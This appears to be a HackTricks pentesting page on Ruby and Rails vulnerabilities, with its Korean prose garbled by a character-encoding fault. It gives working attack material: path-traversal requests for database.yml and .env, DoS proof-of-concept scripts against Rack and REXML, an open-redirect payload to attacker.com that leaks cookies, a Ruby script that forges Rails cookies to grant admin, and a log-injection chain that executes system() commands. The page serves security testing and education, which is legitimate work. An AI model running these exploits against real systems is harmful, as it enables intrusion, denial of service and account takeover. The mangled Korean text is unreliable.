Ruby ํŠธ๋ฆญ

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

File upload to RCE

As explained in this article, uploading a .rb file into sensitive directories such as config/initializers/ can lead to remote code execution (RCE) in Ruby on Rails applications.

ํŒ:

  • config/initializers/์ฒ˜๋Ÿผ ์•ฑ ์‹œ์ž‘ ์‹œ ์‹คํ–‰๋˜๋Š” ๋‹ค๋ฅธ ๋ถ€ํŠธ/์ด๊ฑฐ๋กœ๋“œ ์œ„์น˜๋„ ์“ฐ๊ธฐ ๊ฐ€๋Šฅํ•˜๋ฉด ์œ„ํ—˜ํ•ฉ๋‹ˆ๋‹ค. arbitrary file upload๊ฐ€ config/ ์•„๋ž˜ ์•„๋ฌด ์œ„์น˜์—๋‚˜ ์˜ฌ๋ผ๊ฐ€๊ณ  ๋‚˜์ค‘์— ํ‰๊ฐ€๋˜๊ฑฐ๋‚˜ require๋˜๋ฉด ๋ถ€ํŒ… ์‹œ RCE๋ฅผ ํš๋“ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  • Rails๊ฐ€ ๋ถ€ํŒ… ์‹œ ๋กœ๋“œํ•˜๋Š” ํŒŒ์ผ์„ ์ปจํ…Œ์ด๋„ˆ ์ด๋ฏธ์ง€๋กœ ๋ณต์‚ฌํ•˜๋Š” dev/staging ๋นŒ๋“œ๋ฅผ ์ฐพ์•„๋ณด์„ธ์š”.

Active Storage image transformation โ†’ command execution (CVE-2025-24293)

When an application uses Active Storage with image_processing + mini_magick, and passes untrusted parameters to image transformation methods, Rails versions prior to 7.1.5.2 / 7.2.2.2 / 8.0.2.1 could allow command injection because some transformation methods were mistakenly allowed by default.

  • A vulnerable pattern looks like:
<%= image_tag blob.variant(params[:t] => params[:v]) %>

where params[:t] and/or params[:v] are attacker-controlled.

  • ํ…Œ์ŠคํŠธ ์‹œ ์‹œ๋„ํ•  ๊ฒƒ

  • variant/processing ์˜ต์…˜, transformation ์ด๋ฆ„, ๋˜๋Š” ์ž„์˜์˜ ImageMagick ์ธ์ˆ˜๋ฅผ ๋ฐ›๋Š” ์—”๋“œํฌ์ธํŠธ๋ฅผ ์‹๋ณ„ํ•˜์„ธ์š”.

  • params[:t]์™€ params[:v]๋ฅผ fuzzing ํ•ด ์˜์‹ฌ์Šค๋Ÿฌ์šด ์˜ค๋ฅ˜๋‚˜ ์‹คํ–‰ ๋ถ€์ž‘์šฉ์„ ํ™•์ธํ•˜์„ธ์š”. ๋ฉ”์„œ๋“œ ์ด๋ฆ„์„ ์กฐ์ž‘ํ•˜๊ฑฐ๋‚˜ MiniMagick์— ๋„๋‹ฌํ•˜๋Š” raw ์ธ์ˆ˜๋ฅผ ์ „๋‹ฌํ•  ์ˆ˜ ์žˆ์œผ๋ฉด ์ด๋ฏธ์ง€ ํ”„๋กœ์„ธ์„œ ํ˜ธ์ŠคํŠธ์—์„œ ์ฝ”๋“œ ์‹คํ–‰์„ ์–ป์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

  • ์ƒ์„ฑ๋œ variant์— ๋Œ€ํ•œ ์ฝ๊ธฐ ๊ถŒํ•œ๋งŒ ์žˆ๋Š” ๊ฒฝ์šฐ, ์กฐ์ž‘๋œ ImageMagick ์ž‘์—…์œผ๋กœ blind exfiltration์„ ์‹œ๋„ํ•ด ๋ณด์„ธ์š”.

  • ์ˆ˜์ •/ํƒ์ง€

  • Active Storage + image_processing + mini_magick๋ฅผ ์‚ฌ์šฉํ•˜๊ณ  ์‚ฌ์šฉ์ž ์ œ์–ด ๋ณ€ํ™˜์ด ์žˆ๋Š” Rails < 7.1.5.2 / 7.2.2.2 / 8.0.2.1์€ exploitableํ•˜๋‹ค๊ณ  ๊ฐ„์ฃผํ•˜์„ธ์š”. ์—…๊ทธ๋ ˆ์ด๋“œํ•˜๊ณ  ๋ฉ”์„œ๋“œ/ํŒŒ๋ผ๋ฏธํ„ฐ์— ๋Œ€ํ•œ ์—„๊ฒฉํ•œ allowlist์™€ ๊ฐ•ํ™”๋œ ImageMagick policy ์ ์šฉ์„ ๊ถŒ๊ณ ํ•ฉ๋‹ˆ๋‹ค.

Rack::Static LFI / path traversal (CVE-2025-27610)

If the target stack uses Rack middleware directly or via frameworks, versions of rack prior to 2.2.13, 3.0.14, and 3.1.12 allow Local File Inclusion via Rack::Static when :root is unset/misconfigured. Encoded traversal in PATH_INFO can expose files under the process working directory or an unexpected root.

  • config.ru๋‚˜ ๋ฏธ๋“ค์›จ์–ด ์Šคํƒ์— Rack::Static์„ ๋งˆ์šดํŠธํ•œ ์•ฑ์„ ์ฐพ์•„๋ณด์„ธ์š”. static ๊ฒฝ๋กœ์— ๋Œ€ํ•ด ์ธ์ฝ”๋”ฉ๋œ traversal์„ ์‹œ๋„ํ•ด ๋ณด์„ธ์š”. ์˜ˆ:
GET /assets/%2e%2e/%2e%2e/config/database.yml
GET /favicon.ico/..%2f..%2f.env

prefix๋ฅผ ์„ค์ •๋œ urls:์— ๋งž๊ฒŒ ์กฐ์ •ํ•˜์„ธ์š”. ์•ฑ์ด ํŒŒ์ผ ๋‚ด์šฉ์„ ๋ฐ˜ํ™˜ํ•˜๋ฉด, ํ•ด๊ฒฐ๋œ :root ์•„๋ž˜์˜ ๋ชจ๋“  ํ•ญ๋ชฉ์— ๋Œ€ํ•ด LFI๋ฅผ ๊ฐ€์ง„ ๊ฒƒ์ž…๋‹ˆ๋‹ค.

  • ์™„ํ™”: Rack์„ ์—…๊ทธ๋ ˆ์ด๋“œํ•˜๊ณ  :root๊ฐ€ public ํŒŒ์ผ ๋””๋ ‰ํ„ฐ๋ฆฌ๋งŒ ๊ฐ€๋ฆฌํ‚ค๋„๋ก ๋ช…์‹œ์ ์œผ๋กœ ์„ค์ •ํ•˜์„ธ์š”.

Rack multipart parser ReDoS / request smuggling (CVE-2024-25126)

Rack < 3.0.9.1 and < 2.2.8.1 spent super-linear time parsing crafted Content-Type: multipart/form-data headers. A single POST with a gigantic A= parameter list can peg a Puma/Unicorn worker and cause DoS or request queue starvation.

  • Quick PoC (will hang one worker):
python - <<'PY'
import requests
h = {'Content-Type': 'multipart/form-data; ' + 'A='*5000}
requests.post('http://target/', data='x', headers=h)
PY
  • Rails/Sinatra/Hanami/Grape ๋“ฑ ๋ชจ๋“  Rack ๊ธฐ๋ฐ˜ ์Šคํƒ์— ๋Œ€ํ•ด ์ž‘๋™ํ•ฉ๋‹ˆ๋‹ค. nginx/haproxy๋กœ ํ”„๋ก ํŠธ๋˜์–ด ์žˆ๊ณ  keep-alive๊ฐ€ ํ™œ์„ฑํ™”๋˜์–ด ์žˆ์œผ๋ฉด ๋ณ‘๋ ฌ๋กœ ๋ฐ˜๋ณตํ•ด ์›Œ์ปค๋ฅผ ๊ณ ๊ฐˆ์‹œํ‚ฌ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  • ํŒจ์น˜๋Š” ํŒŒ์„œ๋ฅผ ์„ ํ˜• ์‹œ๊ฐ„์œผ๋กœ ์ˆ˜์ •ํ•ฉ๋‹ˆ๋‹ค; rack gem ๋ฒ„์ „ < 3.0.9.1 ๋˜๋Š” < 2.2.8.1์„ ์ฐพ์œผ์„ธ์š”. ํ‰๊ฐ€ ์‹œ WAF๋Š” ์ด ํ—ค๋”๊ฐ€ ๋ฌธ๋ฒ•์ ์œผ๋กœ ์œ ํšจํ•˜๊ธฐ ๋•Œ๋ฌธ์— ์ด๋ฅผ ์ฐจ๋‹จํ•˜์ง€ ์•Š๋Š” ๊ฒฝ์šฐ๊ฐ€ ๋งŽ์Œ์„ ์ง€์ ํ•˜์„ธ์š”.

REXML XML parser ReDoS (CVE-2024-49761)

The REXML gem < 3.3.9 (Ruby 3.1 and earlier) catastrophically backtracks when parsing hex numeric character references containing long digit runs (e.g., &#1111111111111x41;). Any XML processed by REXML or libraries that wrap it (SOAP/XML API clients, SAML, SVG uploads) can be abused for CPU exhaustion.

Minimal trigger against a Rails endpoint that parses XML:

curl -X POST http://target/xml -H 'Content-Type: application/xml' \
--data '<?xml version="1.0"?><r>&#11111111111111111111111111x41;</r>'

ํ”„๋กœ์„ธ์Šค๊ฐ€ ๋ช‡ ์ดˆ ๋™์•ˆ ๋ฐ”์˜๊ฒŒ ์œ ์ง€๋˜๊ณ  ์›Œ์ปค CPU๊ฐ€ ๊ธ‰์ฆํ•˜๋ฉด ์ทจ์•ฝํ•  ๊ฐ€๋Šฅ์„ฑ์ด ๋†’์Šต๋‹ˆ๋‹ค. ๊ณต๊ฒฉ์€ ์ €๋Œ€์—ญํญ์ด๋ฉฐ XML์„ ์ˆ˜์ง‘ํ•˜๋Š” ๋ฐฑ๊ทธ๋ผ์šด๋“œ ์ž‘์—…์—๋„ ์˜ํ–ฅ์„ ์ค๋‹ˆ๋‹ค.

Apps using the cgi gem (default in many Rack stacks) can be frozen with a single malicious header:

  • CGI::Cookie.parse๋Š” ์ดˆ์„ ํ˜•์ ์ด์—ˆ๊ณ ; ์ˆ˜์ฒœ ๊ฐœ์˜ ๊ตฌ๋ถ„์ž๋ฅผ ๊ฐ€์ง„ ๊ฑฐ๋Œ€ํ•œ cookie ๋ฌธ์ž์—ด์ด O(Nยฒ) ๋™์ž‘์„ ์œ ๋ฐœํ–ˆ์Šต๋‹ˆ๋‹ค.
  • CGI::Util#escapeElement ์ •๊ทœ์‹์€ HTML escaping์—์„œ ReDoS๋ฅผ ํ—ˆ์šฉํ–ˆ์Šต๋‹ˆ๋‹ค.

Both issues are fixed in cgi 0.3.5.1 / 0.3.7 / 0.4.2. For pentests, drop a massive Cookie: header or feed untrusted HTML to helper code and watch for worker lockup. Combine with keep-alive to amplify.

The googlesign_in gem < 1.3.0 (used for Google OAuth on Rails) performed an incomplete same-origin check on the proceedto parameter. A malformed URL like proceedto=//attacker.com/%2F.. bypasses the check and redirects the user off-site while preserving Rails flash/session cookies.

Exploit flow:

  1. ํ”ผํ•ด์ž๊ฐ€ ๊ณต๊ฒฉ์ž๊ฐ€ ํ˜ธ์ŠคํŒ…ํ•œ ์กฐ์ž‘๋œ Google Sign-In ๋งํฌ๋ฅผ ํด๋ฆญํ•œ๋‹ค.
  2. ์ธ์ฆ ํ›„, gem์€ ๊ณต๊ฒฉ์ž ์ œ์–ด ๋„๋ฉ”์ธ์œผ๋กœ ๋ฆฌ๋‹ค์ด๋ ‰ํŠธํ•˜๊ณ  flash notices ๋˜๋Š” ์™€์ผ๋“œ์นด๋“œ ๋„๋ฉ”์ธ ๋ฒ”์œ„์— ์žˆ๋Š” cookies์— ์ €์žฅ๋œ ๋ชจ๋“  ๋ฐ์ดํ„ฐ๋ฅผ leakํ•ฉ๋‹ˆ๋‹ค.
  3. ์•ฑ์ด flash์— ๋‹จ๊ธฐ ํ† ํฐ์ด๋‚˜ magic links๋ฅผ ์ €์žฅํ•˜๋Š” ๊ฒฝ์šฐ, ์ด๊ฒƒ์€ account takeover๋กœ ์ด์–ด์งˆ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

During testing, grep Gemfile.lock for googlesign_in < 1.3.0 and try malformed proceedto values. Confirm via Location header and cookie reflection.

Forging/decrypting Rails cookies when secret_key_base is leaked

Rails encrypts and signs cookies using keys derived from secret_key_base. If that value leaks (e.g., in a repo, logs, or misconfigured credentials), you can usually decrypt, modify, and re-encrypt cookies. This often leads to authz bypass if the app stores roles, user IDs, or feature flags in cookies.

Minimal Ruby to decrypt and re-encrypt modern cookies (AES-256-GCM, default in recent Rails):

Ruby to decrypt/forge cookies ```ruby require 'cgi' require 'json' require 'active_support' require 'active_support/message_encryptor' require 'active_support/key_generator'

secret_key_base = ENV.fetch(โ€˜SECRET_KEY_BASE_LEAKEDโ€™) raw_cookie = CGI.unescape(ARGV[0])

salt = โ€˜authenticated encrypted cookieโ€™ cipher = โ€˜aes-256-gcmโ€™ key_len = ActiveSupport::MessageEncryptor.key_len(cipher) secret = ActiveSupport::KeyGenerator.new(secret_key_base, iterations: 1000).generate_key(salt, key_len) enc = ActiveSupport::MessageEncryptor.new(secret, cipher: cipher, serializer: JSON)

plain = enc.decrypt_and_verify(raw_cookie) puts โ€œDecrypted: #{plain.inspect}โ€

Modify and re-encrypt (example: escalate role)

plain[โ€˜roleโ€™] = โ€˜adminโ€™ if plain.is_a?(Hash) forged = enc.encrypt_and_sign(plain) puts โ€œForged cookie: #{CGI.escape(forged)}โ€

</details>
๋…ธํŠธ:
- Older apps may use AES-256-CBC and salts `encrypted cookie` / `signed encrypted cookie`, or JSON/Marshal serializers. Adjust salts, cipher, and serializer accordingly.
- On compromise/assessment, rotate `secret_key_base` to invalidate all existing cookies.

## ์ฐธ๊ณ  (Ruby/Rails-specific vulns)

- Ruby deserialization and class pollution:
<a class="content_ref" href="../../pentesting-web/deserialization/index.html"><span class="content_ref_label">Deserialization</span></a>
<a class="content_ref" href="../../pentesting-web/deserialization/ruby-class-pollution.md"><span class="content_ref_label">Ruby Class Pollution</span></a>
<a class="content_ref" href="../../pentesting-web/deserialization/ruby-_json-pollution.md"><span class="content_ref_label">Ruby Json Pollution</span></a>
- Template injection in Ruby engines (ERB/Haml/Slim, etc.):
<a class="content_ref" href="../../pentesting-web/ssti-server-side-template-injection/index.html"><span class="content_ref_label">SSTI (Server Side Template Injection)</span></a>


## Log Injection โ†’ RCE via Ruby `load` and `Pathname.cleanpath` smuggling

์•ฑ์ด (์ข…์ข… ๊ฐ„๋‹จํ•œ Rack/Sinatra/Rails ์—”๋“œํฌ์ธํŠธ) ๋‹ค์Œ ๋‘˜์„ ๋ชจ๋‘ ์ˆ˜ํ–‰ํ•˜๋ฉด:
- ์‚ฌ์šฉ์ž ์ œ์–ด ๋ฌธ์ž์—ด์„ ์žˆ๋Š” ๊ทธ๋Œ€๋กœ ๋กœ๊ทธ์— ๊ธฐ๋กํ•˜๊ณ ,
- ์ดํ›„ ๋™์ผํ•œ ๋ฌธ์ž์—ด์—์„œ ํŒŒ์ƒ๋œ ๊ฒฝ๋กœ๋ฅผ ์‚ฌ์šฉํ•ด ํŒŒ์ผ์„ `load` ํ•œ๋‹ค(`Pathname#cleanpath` ์ดํ›„),

๋กœ๊ทธ๋ฅผ ์˜ค์—ผ์‹œํ‚จ ๋’ค ์•ฑ์ด ๋กœ๊ทธ ํŒŒ์ผ์„ `load` ํ•˜๋„๋ก ์œ ๋„ํ•˜๋ฉด ์ข…์ข… remote code execution์„ ๋‹ฌ์„ฑํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ํ•ต์‹ฌ ์š”์†Œ:

- Ruby `load` evaluates the target file content as Ruby regardless of file extension. Any readable text file whose contents parse as Ruby will be executed.
- `Pathname#cleanpath` collapses `.` and `..` segments without hitting the filesystem, enabling path smuggling: attacker-controlled junk can be prepended for logging while the cleaned path still resolves to the intended file to execute (e.g., `../logs/error.log`).

### ์ตœ์†Œ ์ทจ์•ฝ ํŒจํ„ด
```ruby
require 'logger'
require 'pathname'

logger   = Logger.new('logs/error.log')
param    = CGI.unescape(params[:script])
path_obj = Pathname.new(param)

logger.info("Running backup script #{param}")            # Raw log of user input
load "scripts/#{path_obj.cleanpath}"                     # Executes file after cleanpath

๋กœ๊ทธ์— ์œ ํšจํ•œ Ruby๊ฐ€ ํฌํ•จ๋  ์ˆ˜ ์žˆ๋Š” ์ด์œ 

Logger๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™์€ ์ ‘๋‘์‚ฌ ๋ผ์ธ์„ ์”๋‹ˆ๋‹ค:

I, [9/2/2025 #209384]  INFO -- : Running backup script <USER_INPUT>

Ruby์—์„œ๋Š” #๊ฐ€ ์ฃผ์„์„ ์‹œ์ž‘ํ•˜๊ณ  9/2/2025๋Š” ๋‹จ์ง€ ์‚ฐ์ˆ  ์—ฐ์‚ฐ์ž…๋‹ˆ๋‹ค. ์œ ํšจํ•œ Ruby ์ฝ”๋“œ๋ฅผ ์ฃผ์ž…ํ•˜๋ ค๋ฉด ๋‹ค์Œ์„ ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค:

  • ํŽ˜์ด๋กœ๋“œ๋ฅผ ์ƒˆ ์ค„์—์„œ ์‹œ์ž‘ํ•˜์—ฌ INFO ๋ผ์ธ์˜ #์— ์˜ํ•ด ์ฃผ์„ ์ฒ˜๋ฆฌ๋˜์ง€ ์•Š๋„๋ก ํ•˜์„ธ์š”; ์„ ํ–‰ ๊ฐœํ–‰ ๋ฌธ์ž(\n ๋˜๋Š” %0A)๋ฅผ ์ „์†กํ•˜์„ธ์š”.
  • INFO ๋ผ์ธ์—์„œ ๋„์ž…๋œ ๋Š˜ ์—ด๋ฆฐ [๋ฅผ ๋‹ซ์œผ์„ธ์š”. ์ผ๋ฐ˜์ ์ธ ํŠธ๋ฆญ์€ ]๋กœ ์‹œ์ž‘ํ•˜๊ณ  ์„ ํƒ์ ์œผ๋กœ ํŒŒ์„œ๋ฅผ ๋งŒ์กฑ์‹œํ‚ค๊ธฐ ์œ„ํ•ด ][0]=1์„ ๋ถ™์ด๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค.
  • ๊ทธ๋‹ค์Œ ์ž„์˜์˜ Ruby ์ฝ”๋“œ๋ฅผ ๋„ฃ์œผ์„ธ์š”(์˜ˆ: system(...)).

๋‹ค์Œ์€ ์กฐ์ž‘๋œ ํŒŒ๋ผ๋ฏธํ„ฐ๋กœ ํ•œ ๋ฒˆ ์š”์ฒญํ•œ ๋’ค ๋กœ๊ทธ์— ๋‚จ๊ฒŒ ๋  ์˜ˆ์‹œ์ž…๋‹ˆ๋‹ค:

I, [9/2/2025 #209384]  INFO -- : Running backup script
][0]=1;system("touch /tmp/pwned")#://../../../../logs/error.log

ํ•˜๋‚˜์˜ ๋ฌธ์ž์—ด๋กœ ์ฝ”๋“œ๊ฐ€ ๋กœ๊น…๋˜๋ฉด์„œ ๋™์‹œ์— ๋กœ๊ทธ ๊ฒฝ๋กœ๋กœ ํ•ด์„๋˜๊ฒŒ ๋งŒ๋“ค๊ธฐ

๊ณต๊ฒฉ์ž๊ฐ€ ์ œ์–ดํ•˜๋Š” ๋‹จ์ผ ๋ฌธ์ž์—ด์„ ์›ํ•œ๋‹ค. ์ด ๋ฌธ์ž์—ด์€:

  • ์›์‹œ๋กœ ๋กœ๊น…๋  ๋•Œ ์šฐ๋ฆฌ Ruby payload๋ฅผ ํฌํ•จํ•˜๊ณ ,
  • Pathname.new(<input>).cleanpath๋ฅผ ๊ฑฐ์น˜๋ฉด ../logs/error.log๋กœ ํ•ด์„๋˜์–ด ์ดํ›„ load๊ฐ€ ๋ฐฉ๊ธˆ ์˜ค์—ผ๋œ ๋กœ๊ทธ ํŒŒ์ผ์„ ์‹คํ–‰ํ•˜๋„๋ก.

Pathname#cleanpath๋Š” ์Šคํ‚ด์„ ๋ฌด์‹œํ•˜๊ณ  ํŠธ๋ž˜๋ฒ„์„ค ์ปดํฌ๋„ŒํŠธ๋ฅผ ์ถ•์†Œํ•˜๋ฏ€๋กœ, ๋‹ค์Œ์ด ์ž‘๋™ํ•œ๋‹ค:

require 'pathname'

p = Pathname.new("\n][0]=1;system(\"touch /tmp/pwned\")#://../../../../logs/error.log")
puts p.cleanpath   # => ../logs/error.log
  • :// ์•ž์˜ #๋Š” ๋กœ๊ทธ๊ฐ€ ์‹คํ–‰๋  ๋•Œ Ruby๊ฐ€ ๊ผฌ๋ฆฌ ๋ถ€๋ถ„์„ ๋ฌด์‹œํ•˜๋„๋ก ํ•˜๋ฉฐ, ๋ฐ˜๋ฉด cleanpath๋Š” ์ ‘๋ฏธ์‚ฌ๋ฅผ ์—ฌ์ „ํžˆ ../logs/error.log๋กœ ์ถ•์†Œํ•ฉ๋‹ˆ๋‹ค.
  • ์„ ํ–‰ ์ค„๋ฐ”๊ฟˆ์€ INFO ๋ผ์ธ์—์„œ ๋น ์ ธ๋‚˜์˜ค๊ฒŒ ํ•˜๊ณ ; ]๋Š” ๋Š˜์–ด์ง„ ๋Œ€๊ด„ํ˜ธ๋ฅผ ๋‹ซ์œผ๋ฉฐ; ][0]=1์€ ํŒŒ์„œ๋ฅผ ๋งŒ์กฑ์‹œํ‚ต๋‹ˆ๋‹ค.

End-to-end exploitation

  1. Send the following as the backup script name (URL-encode the first newline as %0A if needed):
\n][0]=1;system("id > /tmp/pwned")#://../../../../logs/error.log
  1. The app logs your raw string into logs/error.log.
  2. The app computes cleanpath which resolves to ../logs/error.log and calls load on it.
  3. Ruby executes the code you injected in the log.

To exfiltrate a file in a CTF-like environment:

\n][0]=1;f=Dir['/tmp/flag*.txt'][0];c=File.read(f);puts c#://../../../../logs/error.log

URL-encoded PoC (์ฒซ ๋ฌธ์ž๋Š” ์ค„๋ฐ”๊ฟˆ ๋ฌธ์ž์ž…๋‹ˆ๋‹ค):

%0A%5D%5B0%5D%3D1%3Bf%3DDir%5B%27%2Ftmp%2Fflag%2A.txt%27%5D%5B0%5D%3Bc%3DFile.read(f)%3Bputs%20c%23%3A%2F%2F..%2F..%2F..%2F..%2Flogs%2Ferror.log

์ฐธ๊ณ  ์ž๋ฃŒ

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ